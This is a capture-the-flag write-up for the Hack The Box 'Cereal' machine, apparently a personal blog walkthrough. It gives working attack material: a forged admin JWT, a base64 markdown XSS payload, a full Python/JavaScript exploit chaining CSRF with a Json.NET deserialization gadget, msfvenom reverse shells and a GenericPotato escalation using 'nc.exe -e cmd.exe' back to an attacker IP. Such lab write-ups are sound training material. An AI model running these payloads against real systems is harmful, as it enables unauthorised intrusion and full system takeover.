Cereal

NMAP

nmap -p- -v -sC -sV 10.10.10.217 -oA 10.10.10.217-full

Host is up (0.033s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 1A506D92387A36A4A778DF0D60892843
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Issuer: commonName=cereal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-11T19:57:18
| Not valid after:  2040-11-11T20:07:19
| MD5:   8785 41e5 4962 7041 af57 94e3 4564 090d
|_SHA-1: 5841 b3f2 29f0 2ada 2c62 e1da 969d b966 57ad 5367
|_ssl-date: 2021-04-02T01:16:25+00:00; +4m32s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

IIS httpd 10.0 running(80:http, 443:https)
OpenSSH for Windows 7.7 running (22)

FOOTHOLD

gobuster


cat gobuster-vhosts.out| grep -v 400| grep -v 200
Found: source.cereal.htb (Status: 500) [Size: 9727]
Finding the source.cereal.htb vhost using gobuster.

Nikto: https://cereal.htb


- Nikto v2.1.6
--------------------------------------------------------------
+ Target IP:          10.10.10.217
+ Target Hostname:    10.10.10.217
+ Target Port:        80
+ Start Time:         2021-04-01 21:08:56 (GMT-4)
--------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: Sugar
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint 
to the user agent to protect against some forms of XSS
+ Uncommon header 'x-rate-limit-remaining' found, with contents: 145
+ Uncommon header 'x-rate-limit-limit' found, with contents: 5m
+ Uncommon header 'x-rate-limit-reset' 
found, with contents: 2021-04-02T01:18:10.1801893Z
+ The X-Content-Type-Options header is not set. This could allow the 
user agent to render the content of the site 
in a different fashion to the MIME type
+ Root page / redirects to: https://10.10.10.217/
+ No CGI Directories found (use '-C all' to force check all possible 
dirs)
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2021-04-01 21:14:11 (GMT-4) (315 seconds)
The website is made with reactjs it seems like.
They seem to have configure the powered by to say Sugar, good one.

There is a rate limit on the server,
meaning we can most likely get timed out if we don’t throttle our scans.

Nikto: http://source.cereal.htb


- Nikto v2.1.6
----------------------------------------------------------
+ Target IP:          10.10.10.217
+ Target Hostname:    source.cereal.htb
+ Target Port:        80
+ Start Time:         2021-04-02 00:07:12 (GMT-4)
----------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ Retrieved x-aspnet-version header: 4.0.30319
+ Retrieved x-powered-by header: Sugar
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint 
to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the 
user agent to render the content of the site in a different fashion 
to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible 
dirs)
+ Uncommon header 'x-rate-limit-remaining' found, with contents: 148
+ Uncommon header 'x-rate-limit-limit' found, with contents: 5m
+ Uncommon header 'x-rate-limit-reset' found, with contents: 
2021-04-02T04:14:14.6202517Z
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
+ OSVDB-3092: /.git/index: Git Index file may contain directory 
listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may 
be present.
+ 7863 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2021-04-02 00:12:20 (GMT-4) (308 seconds)
-----------------------------------------------------------------
+ 1 host(s) tested

Nikto found a .git folder on this vhost, juicy.
Let’s keep that in mind and try to extract the source from it.


Manual Enumeration

Analyzing how the frontend works

While enumerating the site manually,
I read the react.js for the frontend that is accessible via firefox inspector (among other tools).
It gives a lot of interesting information on how the frontend supplies the authentication.

The application saves “username”, “password” and “token” in localStorage which lets us control it from the javascript console.

The password is used once to obtain a JWT, then only the token is used to stay authenticated.


import { BehaviorSubject } from 'rxjs';
import { handleResponse } from '../_helpers';

// Gets user from localStorage
const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage
.getItem('currentUser')));

export const authenticationService = {
    login,
    logout,
    currentUser: currentUserSubject.asObservable(),
    get currentUserValue () { return currentUserSubject.value }
};

function login(username, password) {
    const requestOptions = {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username, password })
    };

    return fetch('/users/authenticate', requestOptions)
        .then(handleResponse)
        .then(user => {
            // This stores the user info in localStorage 
            localStorage.setItem('currentUser', JSON.stringify(user));
            currentUserSubject.next(user);

            return user;
        });
}

Obtaining the Source Code

After identifying the http://source.cereal.htb virtualhost,
I found out that there is a .git directory at the webserver’s root.

I know that the source code at different stages can be reconstructed from this,
but I rather not do it by hand.

So I found this set of tools called GitTools.
I used these tools in order to reconstruct the .git folder locally and then extract the files contained for different commits.

Finding the .git folder in source.cereal.htb:

Dumping the .git folder locally:

Extracting the source code:

Now that we have the code, let’s start analyzing it.


Forging JWT tokens

From that source code, I managed to retrieve the private key used to sign the JWTs:

From this key I used this useful online utility to create my JWT.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwd24iLCJpYXQiOjE2MTczMzU4OTYsImV4cCI6MTY0ODg3MTkwMSwiYXVkIjoiY2VyZWFsLmh0YiIsInN1YiI6ImNlcmVhbCBkZWxpdmVyeSBzcXVhZCIsIlVzZXJuYW1lIjoiYWRtaW4ifQ.f1ZSWU2c-5WjHtvA3QlXs7jLkXUIlBUETY7PUQFWm-E

Using this JWT with the right Authorization Header, allows us to create a new cereal request.
Here is the response:


----------------------------
		REQ
----------------------------
POST /requests HTTP/1.1
Host: 10.10.10.217
Connection: close
Content-Length: 98
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwd24iLCJpYXQiOjE2MTczMzU4OTYsImV4cCI6MTY0ODg3MTkwMSwiYXVkIjoiY2VyZWFsLmh0YiIsInN1YiI6ImNlcmVhbCBkZWxpdmVyeSBzcXVhZCIsIlVzZXJuYW1lIjoiYWRtaW4ifQ.f1ZSWU2c-5WjHtvA3QlXs7jLkXUIlBUETY7PUQFWm-E
User-Agent: Ghost
Content-Type: application/json
Accept: */*
Origin: https://10.10.10.217
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.10.10.217/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"json":"{\"title\":\"lol\",\"flavor\":\"broccoli\",\"color\":\"#FFF\",\"description\":\"lopl\"}"}

----------------------------
		RES
----------------------------
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Strict-Transport-Security: max-age=2592000
X-Rate-Limit-Limit: 5m
X-Rate-Limit-Remaining: 5
X-Rate-Limit-Reset: 2021-04-02T04:30:18.3196185Z
X-Powered-By: Sugar
Date: Fri, 02 Apr 2021 04:25:18 GMT
Connection: close
Content-Length: 43

{"message":"Great cereal request!","id":12}

Useful JWT RCF for reference on the protocol: JWT RFC

Reading the source code, I found an endpoint that is vulnerable to json deserialization.
Unfortunately, I noticed that every endpoint except the POST one is protected with a Policy.

The policy is that the remote address has to be within specified whitelist.
If we aren’t then we are not alowed to interact with it, and the request drops.

The only two permitted adresses are the loopback ones: [127.0.0.1, ::1].

Here is the API that is vulnerable to deserialization and restricted (RequestsController.cs):


  [Authorize(Policy = "RestrictIP")]
  [HttpGet("{id}")]
  public IActionResult Get(int id)
  {
      using (var db = new CerealContext())
      {
          string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
          // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
          if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
          {
              return BadRequest(new { message = "The cereal police have been dispatched." });
          }
          var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
          {
              TypeNameHandling = TypeNameHandling.Auto
          });
          return Ok(cereal.ToString());
      }
  }

Here is the whitelist used in the “RestrictIP” Policy (appsettings.json):


  "AllowedHosts": "*",
  "ApplicationOptions": {
    "Whitelist": [ "127.0.0.1", "::1" ]
  },

This means that we have to find a way for the server to request its own pages and get the value. We can achieve this through either some sort of SSRF or CSRF vulnerability.

After reading the source code more carefully, I noticed the use of a particuliar frontend library for REACT.js.
It is used on the AdminPage.
This library is known to have an XSS vulnerability.

Looking up known vulnerabilities for this particular library gives us the following instructive articles:

Using the information within these reports, we can gather that the following section in AdminPage.jsx is vulnerable to XSS:


// This is vulnerable to XSS
<MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />   

This library is used in the AdminPage while displaying the recent Cereal request made to his API. This means that we can target the admin with an XSS.

Let’s see what we can achieve with this by exploiting it locally.


Testing the XSS locally

In order to test the XSS locally and understand exactly how this works,
I took the client portion of the source code and installed it locally.


cd ClientApp
npm install
npm start

Since a REACT app is completely separated from its backend in most cases,
I can try and feed it malicious payloads to test from a local python server.


# Start python webserver
sudo python -m http.server 80

I also modified the code a bit to change the type of the route from PrivateRoute to just Route for the AdminPage so I don’t need to authenticate to see the XSS trigger. I changed the URL used to fetch the requests to http://localhost:80/requests in the request.service.js file.

This makes it so that my local webserver can serve a JSON file in format that the backend would provide to the frontend.
Letting me test my payloads locally without switching to a Windows machine in order to run the whole backend.

Here is an exemple of the JSON file format:


[{
  "json":"{
    \"title\":\"[payload]\",
    \"flavor\":\"<script>alert(1)</script>\",
    \"color\":\"#FFF\",
    \"description\":\"lopl\"
  }"
}]

Here is the result after gettting http://localhost:3000/admin:

Now, let’s manipulate that to create an XSS locally, let’s start by getting an alert.

For this section, I installed the “CORS everywhere” extension in order to turn off the browser’s (chromium) restrictions on CORS.

Using the payload below, I was able to inject javascript and show an alert when the link is clicked.


[{
  "json":"{
    \"title\":\"[XSS](javascript: alert`1`)\",
    \"flavor\":\"<script>alert(1)</script>\",
    \"color\":\"#FFF\",
    \"description\":\"lopl\"
  }"
}]

The only thing left to confirm is if the administrator is clicking on the links in the AdminPage.

Luckily for us we can easily figure that out by going a bit further and trying to get a request back to us, proving that the XSS is effective.

If we do get a request back, there is a very high chance that the user will be local to the machine the server is running on, otherwise he himself would not have access to the AdminPage because of the ip whitelist.

Let’s get crafting.
Since we want more than just an alert, we will switch to using a base64 encoded payload into an eval call. Which will allow us to have a more complex attack.


[FUN](javascript: eval(atob("<b64payload>")))

The thing here is, we cannot close the opened parentheses.
If we do so, The react-marked-markdown library will prevent the rest of our XSS from being included, because closing the parentheses means closing the link in markdown syntax.

I decided initially to use the “&#41;” html encoding, in order to create a parenthesis in the html, it worked fine.
I then found out about another neat trick from other XSS payloads.
I can URL encode the closing parentheses and since the XSS is a link, when it is clicked these %XX will be converted into actual symbols which will complete my XSS.

Here is the final container for our payload:


[FUN](javascript: eval(atob('<b64encoded-js>'%29%29)

I wrote this simple python script in order to test my attack in a more streamlined fashion:


import base64
import requests
import urllib3
urllib3.disable_warnings()


JWT = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MTczMzU4OTYsImV4cCI6MTY0ODg3MTkwMX0.GPLRNDekv4lv5ardpXBhJOb7TVlnkAb0HxZ9meMg7gw"

HEADERS = {
    # set token
        "Authorization": f"Bearer {JWT}",

    # Set content type to json
    "Content-Type": "application/json",

        # this header turns off frame limiting found by inspecting source code
        "X-Real-IP": "127.0.0.1"
}

js = """
window.location = 'http://10.10.14.22:80/xss';
"""

b64_js = base64.b64encode(js.encode('utf-8')) # convert to base64

# put payload in container
xss_payload = f"[FUN](javascript: eval(atob('{b64_js.decode('utf-8')}'%29%29)"
# put XSS inside of cereal request JSON
full_payload = {'json': '{"title":"%s", "flavor":"c", "color":"#FFF", "description":"?"}' % xss_payload }
print(f"[?] Full Payload:\n{full_payload}")
\
# Launch attack, verify=False is set to ignore cert validation
print("[*] Launching attack.")

Launching our test:

Receiving an answer:

With this, we have proof that the request is coming directly from the hosting server, and we have proof that XSS is happening on the target.


Deserializing our way to victory

While analyzing the source code, I noticed a bad practice that allows deserialization of .net object through JSON. The developers of the applications even left a github link for us.

Let’s take a look back at the source code to analyze the code handling the deserialization.


 [Authorize(Policy = "RestrictIP")]
        [HttpGet("{id}")]
        public IActionResult Get(int id)
        {
            using (var db = new CerealContext())
            {
                string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
                // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
                if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
                {
                    return BadRequest(new { message = "The cereal police have been dispatched." });
                }
                var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
                {
                    TypeNameHandling = TypeNameHandling.Auto
                });
                return Ok(cereal.ToString());
            }
        }
We can see here that the developper actually filtered out some of the attack vectors commonly associated with a JSON.net object injection.
With those gadgets filtered out, let’s keep looking at the source to see what we can use to leverage our object injection to RCE or another stage that could then give us RCE.

Reading some more, we find the Cereal.DownloadHelper class.
This class automatically downloads a file using a URL and FilePath property when constructing itself.
This is perfect, all we have to do is to inject that object with the wanted URL and FilePath and it should automagically execute the download function.


public class DownloadHelper
    {
        private String _URL;
        private String _FilePath;
        public String URL
        {
            get { return _URL; }
            set
            {
                // Automatically downloading set url
                _URL = value;
                Download();
            }
        }
        public String FilePath
        {
            get { return _FilePath; }
            set
            {
                _FilePath = value;
                Download();
            }
        }
        private void Download()
        {
            using (WebClient wc = new WebClient())
            {
                if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
                {
                    wc.DownloadFile(_URL, _FilePath);
                }
            }
        }
    }

Here is the json payload that should instanciate the desired object.


{
  "JSON": 
    "{'$type':'Cereal.DownloadHelper, Cereal',
    'URL':'http://10.10.14.22/shell.aspx',
    'FilePath':'C:/inetpub/source/uploads/shell.aspx'}"
}

The reason we used C:/inetpub/source/uploads/ is because I found that directory while enumerating the https://source.cereal.htb virtual host.
It is an educated guess that the user running the service might have write access to this directory.

To use this, we now have to modify our JS payload.
We need to create a cereal request by posting the above JSON file to /requests,
and then we can call the GET method on /requests using the CSRF which means that we are on 127.0.0.1 (bypassing the whitelist from the backend).

Calling the GET method on /requests?id=<id>, will trigger the deserialization of our object, which will cause it to download a reverse shell from our webserver.

Let’s generate a aspx reverse shell with msfvenom:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=9999 -f aspx > reverse.aspx
If this doesn’t work for you, there are many alternatives to this payload out there.

Here is the complete python script for the final exploit that I used:


import base64
import requests
import urllib3
urllib3.disable_warnings()


# Json Web Token | forged earlier
JWT = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MTczMzU4OTYsImV4cCI6MTY0ODg3MTkwMX0.GPLRNDekv4lv5ardpXBhJOb7TVlnkAb0HxZ9meMg7gw"

HEADERS = {
    # set token
        "Authorization": f"Bearer {JWT}",

    # Set content type to json
    "Content-Type": "application/json",

        # this header turns off frame limiting found by inspecting source code
        "X-Real-IP": "127.0.0.1"
}

js = \
"""
try {
payload = {"json": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'http://10.10.14.22/reverse.aspx', 'FilePath':'C:/inetpub/source/uploads/reverse.aspx'}"};

setup = new XMLHttpRequest();
setup.open('POST', '/requests', false);
setup.setRequestHeader('Authorization', 'Bearer """ + JWT + """');
setup.setRequestHeader('Content-Type', 'application/json');
setup.send(JSON.stringify(payload));

request_id = JSON.parse(setup.responseText).id;
trigger = new XMLHttpRequest();
trigger.open('GET', '/requests/' + request_id, false);
trigger.setRequestHeader('Authorization', 'Bearer """ + JWT + """');
trigger.send();

window.location = 'http://10.10.14.22/?success='+btoa(trigger.responseText);
}
catch(err) {
    window.location = 'http://10.10.14.22/?error='+btoa(err);
}
"""

# minify a bit
js = ''.join([line.strip() for line in js.split('\n')])
print(f"[?] Unencoded JS payload:\n{js}\n")

# convert to base64
b64_js = base64.b64encode(js.encode('utf-8'))

# put payload in container
xss_payload = f"[FUN](javascript: eval(atob('{b64_js.decode('utf-8')}'%29%29)"

# put XSS inside of cereal request JSON
full_payload = {'json': '{"title":"%s", "flavor":"c", "color":"#FFF", "description":"?"}' % xss_payload }
print(f"[?] Full Payload:\n{full_payload}\n")

# Launch attack, verify=False is set to ignore cert validation
print("[*] Launching attack.")
r = requests.post('https://cereal.htb/requests', headers=HEADERS, json=full_payload, verify=False)

# Receive response
if r.status_code == 200:
    print(f"[!] Response: {r.text}")
else:
    print(f"[!] Error when sending payload")
    print(f"{r.text}")

I added a try catch that gets me the error if the javascript crashes and the error/success message if the object is deserialized correctly or incorrectly.

Of course, this was not done in one iteration and took a lot of research and reading, the try catch was very useful in the debugging parts of this process.

After running this and getting our reverse shell uploaded, we can start the listener and execute said reverse shell:


nc -lnvp 9999
curl https://source.cereal.htb/uploads/reverse.aspx -k 

This gives us the user HASH !
We now have a shell as the “sonny” user.


Privesc to SYSTEM

While enumerating the compromised system as “sonny”.
I noticed a service listening on port 8080 that was not shown in my earlier scan with NNMAP. 8080 is normally a port associated with a webserver so let’s try to cURL it from the machine:


curl http://10.10.10.217:8080 #<-- this gives invalid hostname, 
#so it probably only accepts requests from 127.0.0.1

curl http://127.0.0.1:8080 #<-- this gives a parsing error 
#and tells me to use -UseBasicParsing

curl http://127.0.0.1:8080/ -o result.html #<-- finally get content

Here is the result:


//SNIP
<script>
    // Very interesting GraphQL api
    fetch('/api/graphql', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        },
        body: JSON.stringify({ query: "{ allPlants { id, location, status } }" })
    }).then(
      r => r.json()
      ).then(
        r => r.data.allPlants.forEach(
          d => document.getElementById('opstatus').innerHTML += 
          `<tr><th scope="row">${d.id}</th><td>${d.location}</td><td>${d.status}</td></tr>`
        )
      )
</script>
//SNAP

We see here that this seems to be a webpage that gets fed by a GraphQL running behind it at the /api/graphql endpoint.
That might be interesting to enumerate.

Let’s port forward this to our local host to make our lives easier.
I created an msfvenom meterpreter shell binary that will run on our windows x64 victim.


msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.22\
  LPORT=9999 \
  -f exe > shell.exe

Now let’s port forward the service back to us:

Let’s enumerate the GraphQL Service with this script:


#!/usr/bin/python3
import sys
import requests
HEADERS = {'Content-Type': 'application/json', 'Accept': 'application/json'}
#JSON = { "query": "{ allPlants  { id, location, status } }"}
JSON = { "query": ""}
URL = "http://127.0.0.1:8081/api/graphql"

if __name__ == "__main__":
    if len(sys.argv) == 2:
        q = sys.argv[1]
        JSON['query'] = q
        print(f"[*] Launching query: {q} .")
        r = requests.post(URL, headers=HEADERS, json=JSON)
        print("[*] --- RESPONSE ---\n")
        print(r.text)

Using this we can enumerate with different queries:


./graphql.py "<QUERY>"

# Following the hacktricks quide on enumerating graphql: 
./graphql.py "{__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}"

The result without default information:


        {
          "name": "Query",
          "fields": [
            {
              "name": "allCereals",
              "args": []
            },
          // SNIP //
           {
              "name": "updatePlant", // INTERESTING
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                },
                {
                  "name": "version",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Float",
                      "kind": "SCALAR"
                    }
                  }
                },
                {
                  "name": "sourceURL", // ULTRA INTERESTING
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "String",
                      "kind": "SCALAR"
                    }
          // SNAP //
  }
}


From this we see that there is a mutation which is like a function, it does actions on the backend.
As we can see, this mutation seems to take in a sourceURL, we could probably execute web requests using this.
We also know that this process is also running as system by doing a ‘netstat’ in our meterpreter shell:

Here is our call to test it out:

So we can send request as the System process to the destination of our choosing.
We also know from our basic enum on the system, that we have the SeImpersonatePrivilege.

THIS IS SCREAMING POTATO EXPLOIT.
Normally Potato exploits leverage different kind of services, could it be possible with an IIS ?

The answer is YES and there is an amazingly written article about it here: https://micahvandeusen.com/the-power-of-seimpersonation/

After reading this article, I went to the author’s github to grab his homegrown potato:
https://github.com/micahvandeusen/GenericPotato

I then hopped on my commando VM (Windows Offsec distribution) to compile this, for some reason my Kali machine was completely unwilling to compile it.
After compiling it I transferred it back to Kali using a python webserver and continued.

Now that we have GenericPotato, we need a way to receive our elevated process.
I ended up using a nc.exe binary compiler for windows amd64 and sending ourselves a reverse shell:


# Process to be launched
nc.exe -e cmd.exe 10.10.14.22 1337

So GenericPotato can be started to listen for incoming priviledged HTTP connections, it will then ask for authorization, which will prompt the webserver to give its token for authentication.
GenericPotato will then steal that token and start an elevated thread with it, which will be our reverse shell.

Here’s what we have to do:

  • [Attacker] Start our listener for the chosen port (1337 in our case)

    nc -lnvp 1337 
    
  • [Victim] Execute GenericPotato with the right arguments

    GenericPotato.exe -e HTTP -p nc.exe -a "-e cmd.exe 10.10.14.22 1337"
    # this will run our previously discussed reverse shell
    
  • [Attacker] Launch SSRF to our target listener (127.0.0.1:8888 is the default for GenericPotato)


And we have our System shell and we finally owned this machine !

And we have the root.txt !
This box took me an actual 2 weeks to root but it happened.
This was the hardest box i’ve owned by far, it was also very fun and rewarding.

If you made it here, thank you for reading !
Feel free to contact me for questions or improvements I could make on the writeup.


Ressources

https://github.com/micahvandeusen/GenericPotato https://graphql.org/learn/schema/ https://micahvandeusen.com/the-power-of-seimpersonation/ https://github.com/jpillora/chisel https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html